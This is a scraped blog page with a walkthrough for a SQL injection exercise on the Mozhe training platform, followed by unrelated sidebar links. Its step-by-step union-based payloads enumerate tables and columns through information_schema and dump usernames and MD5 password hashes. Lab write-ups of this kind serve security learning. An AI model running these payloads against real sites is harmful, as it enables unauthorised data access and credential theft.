当前位置:网站首页>Mozi college SQL injection solution
Mozi college SQL injection solution
2020-11-08 09:40:00 【osc_7bgz0no1】
One · Judgment injection
Input id=1, Normal return . Input id=-1 Returns an error . from This shows that there is injection .
Two · Judgment fields
URL id=-1 order by 1
URL id=-1 order by 2
URL id=-1 order by 3
URL id=-1 order by 4
URL id=-1 order by 5 An error at this time , The description has four fields
3、 ... and · Use union Query injection point
Input union select 1,2,3,4
Find out 2,3 For the obvious note point
Four · Use database() Chaku name
Input union select 1,database(),3,4
Find out the name of the library mozhe_Discuz_StormGroup
5、 ... and · Look up the name of the table
Input
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
Query to StormGroup_member,notice
See member, So doubt about the first one . So first look up the first .
6、 ... and · Inquire about StormGroup_member The fields stored in the
Input
union select 1,group_concat(column_name)3,4 from information_schema.columns where table_name=‘StormGroup_member’
Query out id,name,password,status
7、 ... and · Query password and user name
union select 1,group_concat(name,0x3a,password),3,4 from StormGroup_member
obtain md5 Encrypted value . To decrypt , Get the code .
If the password is wrong , adopt limit m,n To continue with the inquiry .
8、 ... and · Submit key
After getting the password, you can see key, Copy , Submit .
版权声明
本文为[osc_7bgz0no1]所创,转载请带上原文链接,感谢
边栏推荐
- Seven features of Python 3.9
- More than 50 object detection datasets from different industries
- 归纳一些比较好用的函数
- Oops, the system is under attack again
- Basic concepts of computer network (5) basic principles of local area network
- iOS 学习笔记二【cocopods安装使用和安装过程中遇到的问题及解决办法】【20160725更新】
- 来自不同行业领域的50多个对象检测数据集
- 5g + Ar out of the circle, China Mobile Migu becomes the whole process strategic partner of the 33rd China Film Golden Rooster Award
- 分布式共识机制
- python 循环区分(while循环和for循环)
猜你喜欢
Template linked list learning
Solve Safari browser download file name garbled problem
print( 'Hello,NumPy!' )
Dogs can also operate drones! You're right, but it's actually an autonomous drone - you know
sed之查找替换
vivoy73s和荣耀30青春版的区别
麦格理银行借助DataStax Enterprise (DSE) 驱动数字化转型
Littlest jupyterhub| 02 using nbgitpuller to distribute shared files
PX4添加新的应用
面部识别:攻击类型和反欺骗技术
随机推荐
PX4添加新的应用
模板链表类学习
Astra: the future of Apache Cassandra is cloud native
sed之查找替换
Python loop distinction (while loop and for loop)
计算机网络基本概念(五)局域网基本原理
ArrayList源码分析
2020-11-05
Cloud Alibabab笔记问世,全网详解仅此一份手慢无
软件测试培训班出来好找工作么
【原创】关于高版本poi autoSizeColumn方法异常的情况
What is the difference between vivoy73s and vivoy70s
PCR and PTS calculation and inverse operation in TS stream
Littlest JupyterHub| 02 使用nbgitpuller分发共享文件
What details does C + + improve on the basis of C
python 循环区分(while循环和for循环)
Windows下子系统Ubuntu安装
糟糕,系统又被攻击了
我们采访了阿里云云数据库SQL Server的产品经理,他说了解这四个问题就可以了...
Japan PSE certification